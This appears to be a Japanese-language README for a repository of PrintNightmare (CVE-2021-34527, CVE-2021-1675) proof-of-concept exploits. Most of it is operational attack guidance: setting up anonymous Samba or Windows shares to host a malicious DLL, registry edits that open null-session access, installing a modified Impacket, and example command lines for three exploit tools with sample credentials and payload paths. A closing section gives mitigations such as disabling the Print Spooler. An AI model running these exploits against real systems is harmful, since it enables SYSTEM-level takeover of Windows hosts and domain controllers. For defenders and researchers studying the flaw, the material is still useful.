
PrintNightmare - Windows Print Spooler RCE/LPE脆弱性(CVE-2021-34527、CVE-2021-1675)の概念実証エクスプロイト
これは、プリントスプーラーサービスを実行しているWindowsマシンに対して、認証されたリモートユーザーがSYSTEMレベルの特権を取得するために悪用可能なリモートコード実行脆弱性です。攻撃者はそのアクセスを使用して、新しいアカウントの作成、プログラムのインストールの試行、データの表示・変更・削除、または完全なユーザー権限を持つ新しいアカウントの作成を行う可能性があります。
この脆弱性は、Windowsシステムのプリントスプーラーサービス spoolsv.exe における認証バイパスのバグに起因します。これにより、認証されたリモートユーザーがRPC呼び出し RpcAddPrinterDriver を使用してプリンタードライバーをインストールし、リモート場所にあるドライバーファイルを指定できるようになります。この脆弱性を悪用する悪意のあるユーザーは、プリンタードライバーのインストールの一環として悪意のあるDLLを注入することで、このサービスを実行しているWindowsシステム上でSYSTEMレベルの特権を取得する可能性があります。
MicrosoftはCVE-2021-1675の更新プログラムをリリースしましたが、この更新プログラムはActive Directoryドメインコントローラーや、NoWarningNoElevationOnInstallオプションが構成されたポイントアンドプリントが設定されているWindowsシステムを保護しません。
このリポジトリには3つのPoCエクスプロイトの実装があります:
RPCサービスによりクライアントマシンがプリントドライバーをリモートサーバーにダウンロードさせる場所を指定できるため、エクスプロイト実行時にペイロードをホストしパスを提供するために以下の例のオプションを使用できます:
Sambaでゲストアクセスを設定するには、ログインとして偽装するユーザーを設定する必要があります。システムにユーザー smbuser が存在することを確認し、存在しない場合はパスワード password で作成してください。
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
/etc/samba/smb.conf を編集し、匿名アクセスを有効にします
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
以下はcube0x0が提供したものから若干更新された手順です:
これはcube0x0によるPrintnightmareエクスプロイトのImpacket実装です。 エクスプロイトを実行する前に、修正版のImpacketをインストールする必要があります:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
この脆弱性のエクスプロイトコードはPython 3を使用して実行する必要があります
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
SharpPrintNightmare/ ディレクトリには、PrintnightmareエクスプロイトのC#実装が含まれています。これは、ローカル権限昇格(LPE)(CVE-2021-1675)およびリモートコード実行(RCE)の両方に対応しています。RCE機能は、エクスプロイトを実行するマシン上でローカル管理者特権で実行する必要があります。
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
以下を実行します:
Get-Service -Name Spooler
プリントスプーラーが実行中、またはサービスが無効に設定されていない場合は、次のいずれかのオプションを選択して、プリントスプーラーサービスを無効にするか、グループポリシーを介したインバウンドリモート印刷を無効にします:
プリントスプーラーサービスの無効化が企業に適している場合は、以下のPowerShellコマンドを使用します(Microsoftからの推奨):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
またはレジストリを使用してスプーラーサービスを無効にする
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
またはPrint-Servicesをアンインストールする
Uninstall-WindowsFeature Print-Services
これにより、ローカルおよびリモートの両方で印刷機能が無効になります。
グループポリシーを使用して次のように設定することもできます:
Computer Configuration / Administrative Templates / Printers
"プリントスプーラーがクライアント接続を受け入れることを許可する:" ポリシーを無効にして、リモート攻撃をブロックします。
このポリシーは、インバウンドリモート印刷操作を防止することでリモート攻撃ベクトルをブロックします。システムはプリントサーバーとしては機能しなくなりますが、直接接続されたデバイスへのローカル印刷は引き続き可能です。
詳細については、グループポリシー設定を使用してプリンターを制御するを参照してください。